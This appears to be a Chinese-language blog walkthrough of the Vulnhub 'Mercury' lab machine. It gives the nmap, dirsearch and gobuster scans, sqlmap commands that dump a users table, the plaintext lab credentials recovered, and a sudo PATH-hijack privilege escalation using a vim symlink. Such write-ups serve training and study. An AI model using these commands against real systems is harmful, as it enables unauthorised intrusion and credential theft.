Vulnhub Mercury

kelec0ka發表於2024-12-06

0x01:埠掃描

nmap -sn 10.10.10.0/24

image-20241206172300152

全埠掃描

nmap --min-rate 10000 -p- 10.10.10.129

image-20241206172416943

UDP掃描

nmap -sU --top=20 10.10.10.129

image-20241206172535600

詳細埠掃描

nmap -sT -sC -sV -O --min-rate 10000 -p22,8080 10.10.10.129

image-20241206172839642

漏洞掃描

nmap --script=vuln -p22,8080 10.10.10.129

0x02:web滲透

image-20241206173054950

先掃目錄

dirsearch -u http://10.10.10.129:8080
gobuster dir -u http://10.10.10.129:8080 -x php,zip,rar,txt -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

image-20241206173528165

image-20241206195713744

先檢視/robots.txt

image-20241206173815538

沒掃到啥有用的東西呢,我們在手動嘗試一些其他的目錄呢

image-20241206174038119

報錯給了我們一個特別的目錄/mercuryfacts,我們檢視

image-20241206174212075

逐一搜尋檢視,See list有提示資料庫為mysql

image-20241206174340893

Load a fact發現sql注入報錯

image-20241206174423596

sqlmap -u "http://10.10.10.129:8080/mercuryfacts/1*/" --dbs

image-20241206174926585

sqlmap -u "http://10.10.10.129:8080/mercuryfacts/1*/" -D mercury -T users --dump

image-20241206175019733

拿到憑證

john@johnny1987
laura@lovemykids111
sam@lovemybeer111
webmaster@mercuryisthesizeof0.056Earths

嘗試登入,最後成功以webmaster使用者成功登入ssh

image-20241206175502406

0x03:許可權提升

檢視許可權

sudo -l

image-20241206180700296

找到notes.txt,告訴了我們linuxmaster的密碼,是base64

image-20241206180811731

image-20241206180950587

linuxmaster@mercurymeandiameteris4880km

成功橫向移動

image-20241206181120186

檢視許可權

image-20241206181150493

image-20241206181213048

image-20241206193855047

可惜他沒有寫許可權

我們可以透過劫持環境變數,將tail替換成vim,從而實現提權

我們先建立軟連結

ln -s /usr/bin/vim tail

然後設定當前環境變數

export PATH=$(pwd):$PATH

image-20241206194823027

最後執行

sudo --preserve-env=PATH /usr/bin/check_syslog.sh

--preserve-env=PATH:用於控制在執行命令時是否保留當前使用者的環境變數,因為 sudo 命令會使用安全的預設 的PATH路徑,所以我們要加上它

image-20241206195157981

image-20241206195227339

0x04:思考總結

1.靶機Django沒關debug導致輸入不存在目錄出現隱藏目錄

2.這臺靶機也可以使用Pwnkit指令碼提權